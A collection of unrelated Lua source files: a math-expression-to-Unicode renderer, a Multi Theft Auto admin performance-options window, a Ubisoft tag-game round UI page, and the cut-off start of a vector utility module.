local g = grid:new(1, 1, { "∮" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "oiint" then
local g = grid:new(1, 1, { "∯" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "oiiint" then
local g = grid:new(1, 1, { "∰" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "sum" then
local g = grid:new(1, 1, { "∑" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "prod" then
local g = grid:new(1, 1, { "∏" }, "sym")
if exp.sub and exp.sup then
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
local my = g.my
g = supgrid:join_vert(g)
g = g:join_vert(subgrid)
g.my = my + supgrid.h
end
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
if exp.sup and not exp.sub then
local my = g.my
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_vert(supgrid)
g.my = my + supgrid.h
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
elseif name == "lim" then
local g = grid:new(3, 1, { "lim" }, "op")
if exp.sub and not exp.sup then
local my = g.my
local subgrid = ascii.to_ascii(exp.sub)
g = g:join_vert(subgrid)
g.my = my
end
local col_spacer = grid:new(1, 1, { " " })
if g then
g = g:join_hori(col_spacer)
end
return g
else
return grid:new(utf8len(name), 1, { name })
end
elseif exp.kind == "parexp" then
local g = ascii.to_ascii(exp.exp):enclose_paren()
if exp.sub and exp.sup then
local subscript = ""
-- sub and sup are exchanged to
-- make the most compact expression
local subexps = exp.sup.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
local superscript = ""
local supexps = exp.sub.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if subscript and superscript then
local sup_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
local sub_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_sub_sup(sub_g, sup_g)
else
local subgrid = ascii.to_ascii(exp.sub)
local supgrid = ascii.to_ascii(exp.sup)
g = g:join_sub_sup(subgrid, supgrid)
end
end
if exp.sub and not exp.sup then
local subscript = ""
local subexps = exp.sub.exps
local sub_t
if
#subexps == 1 and subexps[1].kind == "numexp"
or (subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%d+$"))
then
sub_t = "num"
elseif subexps[1].kind == "symexp" and string.match(subexps[1].sym, "^%a+$") then
sub_t = "var"
else
sub_t = "sym"
end
for _, exp in ipairs(subexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
subscript = subscript .. sub_letters["0"]
else
if num < 0 then
subscript = "₋" .. subscript
num = math.abs(num)
end
local num_subscript = ""
while num ~= 0 do
num_subscript = sub_letters[tostring(num % 10)] .. num_subscript
num = math.floor(num / 10)
end
subscript = subscript .. num_subscript
end
elseif exp.kind == "symexp" then
if sub_letters[exp.sym] and not exp.sub and not exp.sup then
subscript = subscript .. sub_letters[exp.sym]
else
subscript = nil
break
end
else
subscript = nil
break
end
end
if subscript and string.len(subscript) > 0 then
local sub_g = grid:new(utf8len(subscript), 1, { subscript }, sub_t)
g = g:join_hori(sub_g)
else
local subgrid
local frac_exps = exp.sub.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
subgrid = ascii.to_ascii(exp.sub)
else
subgrid = frac_exp
end
g = g:combine_sub(subgrid)
end
end
if exp.sup and not exp.sub then
local superscript = ""
local supexps = exp.sup.exps
local sup_t
if
#supexps == 1 and supexps[1].kind == "numexp"
or (supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%d+$"))
then
sup_t = "num"
elseif supexps[1].kind == "symexp" and string.match(supexps[1].sym, "^%a+$") then
sup_t = "var"
else
sup_t = "sym"
end
for _, exp in ipairs(supexps) do
if exp.kind == "numexp" and math.floor(exp.num) == exp.num then
local num = exp.num
if num == 0 then
superscript = superscript .. sub_letters["0"]
else
if num < 0 then
superscript = "₋" .. superscript
num = math.abs(num)
end
local num_superscript = ""
while num ~= 0 do
num_superscript = sup_letters[tostring(num % 10)] .. num_superscript
num = math.floor(num / 10)
end
superscript = superscript .. num_superscript
end
elseif exp.kind == "symexp" then
if sup_letters[exp.sym] and not exp.sub and not exp.sup then
superscript = superscript .. sup_letters[exp.sym]
else
superscript = nil
break
end
else
superscript = nil
break
end
end
if superscript and string.len(superscript) > 0 then
local sup_g = grid:new(utf8len(superscript), 1, { superscript }, sup_t)
g = g:join_hori(sup_g, true)
else
local supgrid = ascii.to_ascii(exp.sup)
local frac_exps = exp.sup.exps
local frac_exp
if #frac_exps == 1 then
local exp = frac_exps[1]
if exp.kind == "funexp" and exp.sym == "frac" then
assert(#exp.args == 2, "frac must have 2 arguments")
local numerator = exp.args[1].exps
local denominator = exp.args[2].exps
if
#numerator == 1
and numerator[1].kind == "numexp"
and #denominator == 1
and denominator[1].kind == "numexp"
then
local A = numerator[1].num
local B = denominator[1].num
if frac_set[A] and frac_set[A][B] then
frac_exp = grid:new(1, 1, { frac_set[A][B] })
else
local num_str = ""
local den_str = ""
if math.floor(A) == A then
local s = tostring(A)
for i = 1, string.len(s) do
num_str = num_str .. sup_letters[string.sub(s, i, i)]
end
end
if math.floor(B) == B then
local s = tostring(B)
for i = 1, string.len(s) do
den_str = den_str .. sub_letters[string.sub(s, i, i)]
end
end
if string.len(num_str) > 0 and string.len(den_str) > 0 then
local frac_str = num_str .. "⁄" .. den_str
frac_exp = grid:new(utf8len(frac_str), 1, { frac_str })
end
end
end
end
end
if not frac_exp then
supgrid = ascii.to_ascii(exp.sup)
else
supgrid = frac_exp
end
g = g:join_super(supgrid)
end
end
return g
elseif exp.kind == "blockexp" then
local g
local name = exp.sym
if name == "matrix" then
local cells = {}
local cellsgrid = {}
local maxheight = 0
local explist = exp.content.exps
local i = 1
local rowgrid = {}
while i <= #explist do
local cell_list = {
kind = "explist",
exps = {},
}
while i <= #explist do
if explist[i].kind == "symexp" and explist[i].sym == "&" then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
i = i + 1
break
elseif explist[i].kind == "funexp" and explist[i].sym == "\\" then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
table.insert(cellsgrid, rowgrid)
rowgrid = {}
i = i + 1
break
else
table.insert(cell_list.exps, explist[i])
i = i + 1
end
if i > #explist then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
table.insert(cellsgrid, rowgrid)
end
end
end
local res
for i = 1, #cellsgrid[1] do
local col
for j = 1, #cellsgrid do
local cell = cellsgrid[j][i]
local sup = maxheight - cell.h
local sdown = 0
local up, down
if sup > 0 then
up = grid:new(cell.w, sup)
end
if sdown > 0 then
down = grid:new(cell.w, sdown)
end
if up then
cell = up:join_vert(cell)
end
if down then
cell = cell:join_vert(down)
end
local colspacer = grid:new(1, cell.h)
colspacer.my = cell.my
if i < #cellsgrid[1] then
cell = cell:join_hori(colspacer)
end
if not col then
col = cell
else
col = col:join_vert(cell, true)
end
end
if not res then
res = col
else
res = res:join_hori(col, true)
end
end
-- @combine_matrix_brackets
res.my = math.floor(res.h / 2)
return res
elseif name == "pmatrix" then
local cells = {}
local cellsgrid = {}
local maxheight = 0
local explist = exp.content.exps
local i = 1
local rowgrid = {}
while i <= #explist do
local cell_list = {
kind = "explist",
exps = {},
}
while i <= #explist do
if explist[i].kind == "symexp" and explist[i].sym == "&" then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
i = i + 1
break
elseif explist[i].kind == "funexp" and explist[i].sym == "\\" then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
table.insert(cellsgrid, rowgrid)
rowgrid = {}
i = i + 1
break
else
table.insert(cell_list.exps, explist[i])
i = i + 1
end
if i > #explist then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
table.insert(cellsgrid, rowgrid)
end
end
end
local res
for i = 1, #cellsgrid[1] do
local col
for j = 1, #cellsgrid do
local cell = cellsgrid[j][i]
local sup = maxheight - cell.h
local sdown = 0
local up, down
if sup > 0 then
up = grid:new(cell.w, sup)
end
if sdown > 0 then
down = grid:new(cell.w, sdown)
end
if up then
cell = up:join_vert(cell)
end
if down then
cell = cell:join_vert(down)
end
local colspacer = grid:new(1, cell.h)
colspacer.my = cell.my
if i < #cellsgrid[1] then
cell = cell:join_hori(colspacer)
end
if not col then
col = cell
else
col = col:join_vert(cell, true)
end
end
if not res then
res = col
else
res = res:join_hori(col, true)
end
end
res.my = math.floor(res.h / 2)
return res:enclose_paren()
elseif name == "bmatrix" then
local cells = {}
local cellsgrid = {}
local maxheight = 0
local explist = exp.content.exps
local i = 1
local rowgrid = {}
while i <= #explist do
local cell_list = {
kind = "explist",
exps = {},
}
while i <= #explist do
if explist[i].kind == "symexp" and explist[i].sym == "&" then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
i = i + 1
break
elseif explist[i].kind == "funexp" and explist[i].sym == "\\" then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
table.insert(cellsgrid, rowgrid)
rowgrid = {}
i = i + 1
break
else
table.insert(cell_list.exps, explist[i])
i = i + 1
end
if i > #explist then
local cellgrid = ascii.to_ascii(cell_list)
table.insert(rowgrid, cellgrid)
maxheight = math.max(maxheight, cellgrid.h)
table.insert(cellsgrid, rowgrid)
end
end
end
local res
for i = 1, #cellsgrid[1] do
local col
for j = 1, #cellsgrid do
local cell = cellsgrid[j][i]
local sup = maxheight - cell.h
local sdown = 0
local up, down
if sup > 0 then
up = grid:new(cell.w, sup)
end
if sdown > 0 then
down = grid:new(cell.w, sdown)
end
if up then
cell = up:join_vert(cell)
end
if down then
cell = cell:join_vert(down)
end
local colspacer = grid:new(1, cell.h)
colspacer.my = cell.my
if i < #cellsgrid[1] then
cell = cell:join_hori(colspacer)
end
if not col then
col = cell
else
col = col:join_vert(cell, true)
end
end
if not res then
res = col
else
res = res:join_hori(col, true)
end
end
local left_content, right_content = {}, {}
if res.h > 1 then
for y = 1, res.h do
if y == 1 then
table.insert(left_content, style.matrix_upper_left)
table.insert(right_content, style.matrix_upper_right)
elseif y == res.h then
table.insert(left_content, style.matrix_lower_left)
table.insert(right_content, style.matrix_lower_right)
else
table.insert(left_content, style.matrix_vert_left)
table.insert(right_content, style.matrix_vert_right)
end
end
else
left_content = { style.matrix_single_left }
right_content = { style.matrix_single_right }
end
local leftbracket = grid:new(1, res.h, left_content)
local rightbracket = grid:new(1, res.h, right_content)
res = leftbracket:join_hori(res, true)
res = res:join_hori(rightbracket, true)
res.my = math.floor(res.h / 2)
return res
else
error("Unknown block expression " .. exp.sym)
end
return g
else
return nil
end
return grid
end
return ascii
|
--[[**********************************
*
* Multi Theft Auto - Admin Panel
*
* gui\admin_performance.lua
*
* Original File by lil_Toady
*
**************************************]]
aPerformanceForm = nil
function aPerformance ()
if ( aPerformanceForm == nil ) then
local x, y = guiGetScreenSize()
aPerformanceForm = guiCreateWindow ( x / 2 - 160, y / 2 - 100, 320, 320, "Admin Performance Options", false )
aPerformanceLabel = guiCreateLabel ( 0.03, 0.87, 0.74, 0.18, "It's recomended to unload the widgets you do not often use to save RAM", true, aPerformanceForm )
guiLabelSetHorizontalAlign ( aPerformanceLabel, "left", true )
guiLabelSetColor ( aPerformanceLabel, 255, 0, 0 )
aPerformanceSpectator = guiCreateCheckBox ( 0.05, 0.10, 0.90, 0.08, "Unload spectator when not used", false, true, aPerformanceForm )
aPerformanceEditor = guiCreateCheckBox ( 0.05, 0.18, 0.90, 0.08, "Unload map editor when not used", false, true, aPerformanceForm )
aPerformanceTeam = guiCreateCheckBox ( 0.05, 0.26, 0.90, 0.08, "Unload Team Form when not used", false, true, aPerformanceForm )
aPerformanceSkin = guiCreateCheckBox ( 0.05, 0.34, 0.90, 0.08, "Unload Skin Form when not used", false, true, aPerformanceForm )
aPerformanceStats = guiCreateCheckBox ( 0.05, 0.42, 0.90, 0.08, "Unload Stats Form when not used", false, true, aPerformanceForm )
aPerformanceVehicle = guiCreateCheckBox ( 0.05, 0.50, 0.90, 0.08, "Unload Vehicle Form when not used", false, true, aPerformanceForm )
aPerformanceBan = guiCreateCheckBox ( 0.05, 0.58, 0.90, 0.08, "Unload Ban Form when not used", false, true, aPerformanceForm )
guiCreateStaticImage ( 0.05, 0.68, 0.60, 0.003, "client\\images\\dot.png", true, aPerformanceForm )
aPerformanceInput = guiCreateCheckBox ( 0.05, 0.70, 0.90, 0.08, "Unload Input Box when not used", false, true, aPerformanceForm )
aPerformanceMessage = guiCreateCheckBox ( 0.05, 0.78, 0.90, 0.08, "Unload Message Box when not used", false, true, aPerformanceForm )
aPerformanceOk = guiCreateButton ( 0.79, 0.90, 0.18, 0.08, "Ok", true, aPerformanceForm )
addEventHandler ( "onClientGUIClick", aPerformanceForm, aClientPerformanceClick )
guiSetVisible ( aPerformanceForm, false )
--Register With Admin Form
aRegister ( "Performance", aPerformanceForm, aPerformance, aPerformanceClose )
else
guiSetVisible ( aPerformanceForm, true )
guiBringToFront ( aPerformanceForm )
end
end
function aPerformanceClose ( destroy )
if ( destroy ) then
removeEventHandler ( "onClientGUIClick", aPerformanceForm, aClientPerformanceClick )
destroyElement ( aPerformanceForm )
aPerformanceForm = nil
else
guiSetVisible ( aPerformanceForm, false )
end
end
function aClientPerformanceClick ( button )
if ( button == "left" ) then
if ( source == aPerformanceOk ) then
aPerformanceClose ()
end
end
end
|
--[[--------------------------------------------------------------------------
--
-- File: UATagThenShoot.Ui.RoundLoop.lua
-- Copyright (c) Ubisoft Entertainment. All rights reserved.
--
-- Project: Ubitoys.Tag
-- Date: September 23, 2010
--
------------------------------------------------------------------------------
--
-- Description: ...
--
----------------------------------------------------------------------------]]
--[[ Dependencies ----------------------------------------------------------]]
require "Ui/UIAFP"
require "Ui/UILeaderboard"
require "Ui/UIPlayerSlot"
--[[ Class -----------------------------------------------------------------]]
UATagThenShoot.Ui = UATagThenShoot.Ui or {}
UATagThenShoot.Ui.RoundLoop = UTClass(UIMenuPage)
-- __ctor -------------------------------------------------------------------
function UATagThenShoot.Ui.RoundLoop:__ctor(...)
-- label
self.uiLabel = self:AddComponent(UILabel:New(), "uiLabel")
self.uiLabel.fontColor = UIComponent.colors.black
self.uiLabel.rectangle = { 300, 0, 700, 80 }
-- self.uiLabel.text = "Default game loop for " .. activity.name
------------------------------------------------
-- AFP TEST
------------------------------------------------
activity.uiAFP = self:AddComponent(UIAFP:New(), "uiAFP")
activity.uiAFP:MoveTo(50, 40)
-- current player
self.player = activity.match.challengers[1]
-- best score
self.uiBestScorePanel = self:AddComponent(UIPanel:New(), "uiBestScorePanel")
self.uiBestScorePanel.background = "base:texture/ui/components/uipanel05.tga"
self.uiBestScorePanel.rectangle = { 520, 460, 920, 660 }
self.uiBestScorePanel.uiTitlePanel = self.uiBestScorePanel:AddComponent(UIPanel:New(), "uiTitlePanel")
self.uiBestScorePanel.uiTitlePanel.background = "base:texture/ui/components/uipanel08.tga"
self.uiBestScorePanel.uiTitlePanel.rectangle = { 0, 0, 400, 30 }
self.uiBestScorePanel.uiTitlePanel.color = UIComponent.colors.white
self.uiBestScorePanel.uiTitleLabel = self.uiBestScorePanel:AddComponent(UILabel:New(), "uiTitleLabel")
self.uiBestScorePanel.uiTitleLabel.fontColor = UIComponent.colors.orange
self.uiBestScorePanel.uiTitleLabel.font = UIComponent.fonts.header
self.uiBestScorePanel.uiTitleLabel.text = l"oth060"
self.uiBestScorePanel.uiTitleLabel.rectangle = { 20, 2 }
-- a list of 3 best players !!
local index = 1
for i, player in ipairs(activity.players) do
if (index <= 3 and player.data.baked.score > 0) then
local slot = self.uiBestScorePanel:AddComponent(UIPlayerSlot:New(), "uiPlayerSlot" .. index)
slot:SetPlayer(player)
slot:MoveTo(70, 50 * index)
-- draw text
local label = slot:AddComponent(UILabel:New(), "uiLabel" .. index)
label.fontColor = UIComponent.colors.black
label.fontJustification = quartz.system.drawing.justification.center
label.rectangle = { 255, 8, 295, 45 }
label.text = player.data.baked.score
index = index + 1
end
end
-- player slot
self.uiPlayerPanel = self:AddComponent(UIPanel:New(), "uiPlayerPanel")
self.uiPlayerPanel.background = "base:texture/ui/components/uipanel05.tga"
self.uiPlayerPanel.rectangle = { 520, 50, 920, 170 }
self.uiPlayerPanel.uiTitlePanel = self.uiPlayerPanel:AddComponent(UIPanel:New(), "uiTitlePanel")
self.uiPlayerPanel.uiTitlePanel.background = "base:texture/ui/components/uipanel08.tga"
self.uiPlayerPanel.uiTitlePanel.rectangle = { 0, 0, 400, 30 }
self.uiPlayerPanel.uiTitleLabel = self.uiPlayerPanel:AddComponent(UILabel:New(), "uiTitleLabel")
self.uiPlayerPanel.uiTitleLabel.fontColor = UIComponent.colors.orange
self.uiPlayerPanel.uiTitleLabel.font = UIComponent.fonts.header
self.uiPlayerPanel.uiTitleLabel.text = l"oth066"
self.uiPlayerPanel.uiTitleLabel.rectangle = { 20, 2 }
self.uiPlayerPanel.uiPlayerPanel = self.uiPlayerPanel:AddComponent(UIPanel:New(), "uiPlayerPanel")
self.uiPlayerPanel.uiPlayerPanel.background = "base:texture/ui/components/UIGridLine_Background01.tga"
self.uiPlayerPanel.uiPlayerPanel.rectangle = { 80, 60, 380, 84 }
self.uiPlayerPanel.uiPlayerHud = self.uiPlayerPanel.uiPlayerPanel:AddComponent(UIPicture:New(), "uiPlayerHud")
self.uiPlayerPanel.uiPlayerHud.texture = "base:texture/ui/icons/32x/gunhud.tga"
self.uiPlayerPanel.uiPlayerHud.rectangle = { 50, -5, 82, 27 }
if (self.player.rfGunDevice) then
self.uiPlayerPanel.uiPlayerClassId = self.uiPlayerPanel.uiPlayerPanel:AddComponent(UILabel:New(), "uiPlayerClassId")
self.uiPlayerPanel.uiPlayerClassId.fontJustification = quartz.system.drawing.justification.center + quartz.system.drawing.justification.singlelineverticalcenter
self.uiPlayerPanel.uiPlayerClassId.rectangle = { 50, -5, 82, 27 }
self.uiPlayerPanel.uiPlayerClassId.font = UIComponent.fonts.default
self.uiPlayerPanel.uiPlayerClassId.fontColor = UIComponent.colors.orange
self.uiPlayerPanel.uiPlayerClassId.text = self.player.rfGunDevice.classId
end
self.uiPlayerPanel.uiPlayerLabel = self.uiPlayerPanel.uiPlayerPanel:AddComponent(UILabel:New(), "uiTitleLabel")
self.uiPlayerPanel.uiPlayerLabel.fontColor = UIComponent.colors.darkgray
self.uiPlayerPanel.uiPlayerLabel.font = UIComponent.fonts.header
self.uiPlayerPanel.uiPlayerLabel.text = self.player.profile.name
self.uiPlayerPanel.uiPlayerLabel.rectangle = { 100, 0 }
if (game.settings.UiSettings.teamribbon == 2 and self.player.profile.team > 0) then
self.uiPlayerPanel.uiPlayerPanelbackground = self.uiPlayerPanel.uiPlayerPanel:AddComponent(UIPicture:New(), "uiTitleLabel")
self.uiPlayerPanel.uiPlayerPanelbackground.texture = "base:texture/ui/pictograms/48x/Team_" .. self.player.profile.team .. "_Circle.tga"
self.uiPlayerPanel.uiPlayerPanelbackground.rectangle = { -49, -39, 49, 59 }
end
self.uiPlayerPanel.uiPlayerIcon = self.uiPlayerPanel.uiPlayerPanel:AddComponent(UIPicture:New(), "uiTitleLabel")
self.uiPlayerPanel.uiPlayerIcon.texture = "base:texture/Avatars/256x/" .. self.player.profile.icon
self.uiPlayerPanel.uiPlayerIcon.rectangle = { -64, -54, 64, 74 }
self.uiPlayerPanel.uiPlayerScore = self.uiPlayerPanel.uiPlayerPanel:AddComponent(UILabel:New(), "uiTitleLabel")
self.uiPlayerPanel.uiPlayerScore.fontColor = UIComponent.colors.orange
self.uiPlayerPanel.uiPlayerScore.font = UIComponent.fonts.header
self.uiPlayerPanel.uiPlayerScore.text = activity.match.challengers[1].data.heap.score
self.uiPlayerPanel.uiPlayerScore.rectangle = { 255, 0 }
-- bases
self.uiBasePanel = {}
if (4 == activity.settings.numberOfBase) then
self.baseRectangle = {
{ 520, 180, 710, 260 },
{ 730, 180, 920, 260 },
{ 520, 360, 710, 440 },
{ 730, 360, 920, 440 },
}
self.ubiconnectRectangle = {
{ 520, 270, 920, 350 },
}
else
self.baseRectangle = {
{ 520, 220, 710, 300 },
{ 730, 220, 920, 300 },
}
self.ubiconnectRectangle = {
{ 520, 330, 920, 410 },
}
end
for i = 1, activity.settings.numberOfBase do
self.uiBasePanel[i] = self:AddComponent(UIPanel:New(), "uiBasePanel" .. "1")
self.uiBasePanel[i].background = "base:texture/ui/components/uipanel05.tga"
self.uiBasePanel[i].rectangle = self.baseRectangle[i]
self.uiBasePanel[i].uiTitlePanel = self.uiBasePanel[i]:AddComponent(UIPanel:New(), "uiTitlePanel")
self.uiBasePanel[i].uiTitlePanel.background = "base:texture/ui/components/uipanel07.tga"
self.uiBasePanel[i].uiTitlePanel.rectangle = { 0, 30, 190, 50 }
self.uiBasePanel[i].uiBaseName = self.uiBasePanel[i]:AddComponent(UILabel:New(), "uiTitleLabel")
self.uiBasePanel[i].uiBaseName.fontColor = UIComponent.colors.darkgray
self.uiBasePanel[i].uiBaseName.font = UIComponent.fonts.header
self.uiBasePanel[i].uiBaseName.text = l("oth05" .. (5 + i))
self.uiBasePanel[i].uiBaseName.rectangle = { 5, 30 }
self.uiBasePanel[i].uiBaseIcon = self.uiBasePanel[i]:AddComponent(UIPicture:New(), "uiTitleLabel")
self.uiBasePanel[i].uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF0" .. (i + 2) .. "_White.tga"
self.uiBasePanel[i].uiBaseIcon.rectangle = { 100, -5, 200, 85 }
end
-- UbiConnect
self.uiUbiConnectPanel = self:AddComponent(UIPanel:New(), "uiBasePanel" .. "1")
self.uiUbiConnectPanel.background = "base:texture/ui/components/uipanel05.tga"
self.uiUbiConnectPanel.rectangle = self.ubiconnectRectangle[1]
self.uiUbiConnectPanel.uiTitlePanel = self.uiUbiConnectPanel:AddComponent(UIPanel:New(), "uiTitlePanel")
self.uiUbiConnectPanel.uiTitlePanel.background = "base:texture/ui/components/uipanel07.tga"
self.uiUbiConnectPanel.uiTitlePanel.rectangle = { 0, 30, 400, 50 }
self.uiUbiConnectPanel.uiBaseName = self.uiUbiConnectPanel:AddComponent(UILabel:New(), "uiTitleLabel")
self.uiUbiConnectPanel.uiBaseName.fontColor = UIComponent.colors.darkgray
self.uiUbiConnectPanel.uiBaseName.font = UIComponent.fonts.header
self.uiUbiConnectPanel.uiBaseName.text = l"bas011"
self.uiUbiConnectPanel.uiBaseName.rectangle = { 45, 30 }
self.uiUbiConnectPanel.uiBaseIcon = self.uiUbiConnectPanel:AddComponent(UIPicture:New(), "uiTitleLabel")
self.uiUbiConnectPanel.uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF09_White.tga"
self.uiUbiConnectPanel.uiBaseIcon.rectangle = { 220, -5, 320, 85 }
end
-- __dtor -------------------------------------------------------------------
function UATagThenShoot.Ui.RoundLoop:__dtor()
end
-- Onclose --------------------------------------------------------------------
function UATagThenShoot.Ui.RoundLoop:OnClose()
self.player._DataChanged:Remove(self, self.OnDataChanged)
end
-- OnOpen --------------------------------------------------------------------
function UATagThenShoot.Ui.RoundLoop:OnOpen()
self.player._DataChanged:Add(self, self.OnDataChanged)
self.uiBasePanel[1].uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF03.tga"
end
-- OnDataChanged -------------------------------------------------------------
function UATagThenShoot.Ui.RoundLoop:OnDataChanged(_entity, _key, _value)
if ("state" == _key) then
for i = 1, activity.settings.numberOfBase do
if (_value and self.player.data.heap.state == i - 1) then
self.uiBasePanel[i].uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF0" .. (i + 2) .. ".tga"
else
self.uiBasePanel[i].uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF0" .. (i + 2) .. "_White.tga"
end
end
if (not _value) then
self.uiUbiConnectPanel.uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF09.tga"
else
self.uiUbiConnectPanel.uiBaseIcon.texture = "base:texture/ui/pictograms/128x/RF09_White.tga"
end
elseif ("score" == _key) then
self.uiPlayerPanel.uiPlayerScore.text = self.player.data.heap.score
end
end
|
local Vectors = {}
Vectors.__index = Vectors
---Divides the vector by the given number.
---@param vector3D table vector {x,y,z} to divide.
---@param divisor number the number to divide by.
---@return table dividedVector {x,y,z} divided vector.
function Vectors.DivideByNumber(vector3D, divisor)
if divisor == 0 then
print('Attempting to divide vector by 0')
